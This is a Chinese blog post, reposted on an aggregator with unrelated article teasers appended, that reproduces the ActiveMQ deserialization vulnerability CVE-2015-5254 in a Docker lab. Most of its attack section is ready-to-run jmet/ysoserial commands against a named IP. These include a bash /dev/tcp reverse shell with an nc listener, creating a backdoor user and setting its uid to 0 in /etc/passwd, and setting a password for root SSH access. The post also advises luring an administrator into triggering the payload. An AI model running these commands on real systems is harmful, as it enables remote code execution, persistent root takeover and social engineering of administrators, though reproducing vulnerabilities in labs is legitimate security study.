ActiveMQ反序列化漏洞(CVE-2015-5254)复现

0x00 漏洞前言

        Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

0x01  漏洞环境

1.在ubuntu16.04下安装docker/docker-compose:

# 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
# 安装最新版docker
curl -s https://get.docker.com/ | sh
# 启动docker服务
service docker start
# 安装compose
pip install docker-compose 
# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master
# 进入某一个漏洞/环境的目录cd   activemq/CVE-2015-5254/
# 自动化编译环境
docker-compose build

2.运行漏洞环境

docker-compose up -d

环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口访问http://your-ip:8161即可看到网络管理页面,不过这个漏洞理论上是不需要网络的。

使用浏览器直接访问activemq,查看是否部署完毕

http://45.32.101.90:8161/admin/(默认的用户名/密码为admin/admin

0x02 漏洞复现

1.漏洞利用过程如下:

a.构造(可以使用ysoserial)可执行命令的序列化对象

b.作为一个消息,发送给目标61616端口

c.访问的Web管理页面,读取消息,触发漏洞

2.使用jmet进行漏洞利用:

首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME

cd /optwget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

mkdir external

3.执行命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME   45.32.101.90   61616

4.此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://45.32.101.90:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

5.点击查看这条消息即可触发命令执行

6.此时进入容器

docker exec -it  cc0e9385f975  /bin/bash

7.可看到/ tmp /已成功创建,说明漏洞利用成功:

 

8.反弹shell:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/45.32.101.90/12340>&1" -Yp ROME45.32.101.90   61616

远程主机监听1234端口:

nc  -lvvp 1234

即可看到反弹是shell:

值得注意的是,通过网络管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。

 

9.添加用户

执行jmet的命令添加test用户并将其添加到root组,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它:

 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME  45.32.101.90  61616

让我们再将passwd中的test的uid修改为0,使它拥有root权限,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它。

 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME   45.32.101.90  61616

让我们再为test用户设置一个密码,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它。

 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME   45.32.101.90   61616

到此为止,一个权限为root,密码为123456的用户即创建完毕。我们可以使用ssh直接远程登陆进入操作系统,并且还是最高权限。

0x03 参考链接

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

 

 

转载于:https://www.cnblogs.com/backlion/p/9970516.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/484751.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

阿里最新研究试用因果推理方法让视觉AI更智能,入选CVPR 2021

来源:AI前线学过人类照片和鱼类照片的 AI,第一次见到美人鱼的照片会作何反应?人脸和鱼身它都很熟悉,但它无法想象一个从没见过的事物。近期,阿里巴巴达摩院将因果推理方法引入计算机视觉领域,尝试克服机器学习方法的缺…

博客文章排版学习

一、序言 第一次写博客觉得文章的排版十分重要,查阅了几篇博文,觉得Leo_wlCnBlogs的文章让我获益良多,所以我做出了总结,方便自己学习复习。 博文写出来排版好了才让人看得舒服,才有动力看下去,之前百度查资…

《神经元》发表脑智卓越中心关于灵活分类决策神经环路机制的研究成果

来源: 脑科学与智能技术卓越创新中心2021年5月5日,《Neuron》期刊在线发表了题为《基于任务结构信息的灵活感知抉择神经环路机制》的研究论文,该研究由中国科学院脑科学与智能技术卓越创新中心(神经科学研究所)、上海脑…

第九集 生死穿越风火山,感受尘世间轮回

在五道梁的一夜,终于可以不用睡帐篷。呼吸依然不顺,但比昆仑山口好多了,晚上也睡得安稳。 一早与开达吃完早餐,补充干粮,策马上路。早上阳光明媚,为弥补前三天落下的行程,计划加班骑行148公里至…

扩展图神经网络:暴力堆叠模型深度并不可取

来源:AI科技评论目前,阻碍图神经网络在业界大规模应用的挑战之一是:图神经网络很难被扩展到 Twitter 的用户关注关系图这类大型图上。节点之间的相互依赖关系使我们很难将损失函数分解为各个独立节点的影响。在本文中,我们介绍了T…

IBM 揭晓全球第一项 2纳米芯片技术,为半导体领域实现重大突破

来源:IBM中国这是芯片行业发展过程中的一个里程碑,将在芯片性能和能源效率方面实现飞跃。纽约州奥尔巴尼 — 2021年 5月 6日:IBM(纽约证券交易所:IBM)宣布,IBM 已成功研制出全球首款采用 2纳米 …

SpringCloud源码分析(一)--客户端搭建

一、前言 上一节的注册中心搭建完成了,本节开始搭建客户端,其实对于springcloud的Eureka注册中心而言,他本身就是服务端也是客户端,我们上节待见服务端注册中心的时候,已经通过配置来设置其不向自己注册,和…

【深度干货】强化学习应用简述

来源:海豚数据科学实验室 强化学习 (reinforcement learning) 经过了几十年的研发,在一直稳定发展,最近取得了很多傲人的成果,后面会有越来越好的进展。强化学习广泛应用于科学、工程、艺术等领域。下面简单列举一些强化学习的成…

柳进军 | 城市大脑的逻辑模型

来源:人民智库近年来,在人工智能、大数据、云计算等新技术发展以及国家新基建等政策的双重推动下,各地政府普遍将“城市大脑”建设纳入了城市发展建设计划,“城市大脑”相关的实践活动也在蓬勃开展,“城市大脑”已经成…

【综述专栏】神经网络的可解释性综述

来源:知乎作者:知乎—机器学习小谈地址:https://zhuanlan.zhihu.com/p/368755357本文以 A Survey on Neural Network Interpretability 读后感为主,加上自身的补充,浅谈神经网络的可解释性。论文:https://a…

吴军:既能得诺贝尔奖,又能生产高科技产品,美国的科研机制是如何运行的?...

来源:大数据文摘范内瓦布什(Vannevar Bush)一生大部分时间供职于麻省理工学院,是这所世界排名第一的理工科大学最引以为傲的人之一。2016年,我访问麻省理工的媒体实验室。由于我到的时间早了一点,伊藤主任还…

机器学习核心概念完全解析(建议收藏)

来源:机器学习研究组订阅刚接触机器学习框架 TensorFlow 的新手们,这篇由 Google 官方出品的常用术语词汇表,一定是你必不可少的入门资料!本术语表列出了基本的机器学习术语和 TensorFlow 专用术语的定义,希望能帮助您…

科学研究发现:说谎,是儿童成长的里程碑

来源:心灵成长家园(ID:xinling_JY)科学研究发现:说谎,是儿童成长的里程碑。和成年人的谎言不同,小朋友的谎言,是他们获得一类重要心智能力的标志。许多研究发现,越早学会…

非 GUI 模式运行 JMeter 压力测试

非 GUI 模式&#xff0c;即命令行模式&#xff0c;运行 JMeter 测试脚本能够大大缩减所需要的系统资源。 使用命令&#xff1a;jmeter -n -t <testplan filename> -l <listener filename> -n&#xff1a;非GUI模式 -t&#xff1a;需要执行的脚本文件名&#xff0c;…

第一章 计算机系统概述 1.2.1 计算机硬件的基本组成 [计算机组成原理笔记]

第一章 计算机系统概述 1.2.1 计算机硬件的基本组成 本笔记参考书目&#xff1a; 计算机组成原理&#xff08;第六版.立体化教材&#xff09;白中英、戴志涛2021王道计算机组成原理视频公开课 本节重点&#xff1a; 冯诺依曼机结构现代计算机结构 转载请注明文章来源&#…

2021年中国人工智能产业发展趋势

来源&#xff1a;专知、图灵人工智能人工智能作为新一轮产业变革的核心驱动力&#xff0c;正在释放历次科技革命和产业变革的巨大能量。持续探索新一代人工智能应用场景&#xff0c;将重构生产、分配、交换、消费等经济活动各环节&#xff0c;催生 新技术、新产品、新产业。作为…

第一章 计算机系统概述 1.2.2 各硬件部分的介绍 [计算机组成原理笔记]

第一章 计算机系统概述 1.2.2 各硬件部分的介绍 本笔记参考书目&#xff1a; 计算机组成原理&#xff08;第六版.立体化教材&#xff09;白中英、戴志涛2021王道计算机组成原理视频公开课 本节重点&#xff1a; 主存储器、运算器和控制器的基本组成计算机运行过程的实例 转…

GAN网络立功!36分钟,建起5亿光年的宇宙区域

来源&#xff1a;simonsfoundation编译&#xff1a;周熙利用神经网络&#xff0c;Flatiron研究所的研究员Yin Li和他的同事只花费了传统方法所需时间千分之一&#xff0c;就成功模拟了庞大而复杂的宇宙。该方法提出者在5月4日在线发表于《美国国家科学院院刊》的一项研究中报告…

STM32F407 开发环境搭建 程序下载 个人笔记

详细资料&#xff1a; http://www.openedv.com/thread-13912-1-1.html 需要安装的软件&#xff1a; 1.keil&#xff08;MDK&#xff0c;必选&#xff09;&#xff0c;用keygen破解 2.CH340驱动&#xff0c;&#xff08;usb串口驱动&#xff0c;用来下载程序。方便但下载速度较慢…

第一章 计算机系统概述 1.2.3 计算机的多级层次结构 [计算机组成原理笔记]

第一章 计算机系统概述 1.2.3 计算机的多级层次结构 本笔记参考书目&#xff1a; 计算机组成原理&#xff08;第六版.立体化教材&#xff09;白中英、戴志涛2021王道计算机组成原理视频公开课 本节重点&#xff1a; 计算机系统的五层结构&#xff1a;微程序机器、传统机器、…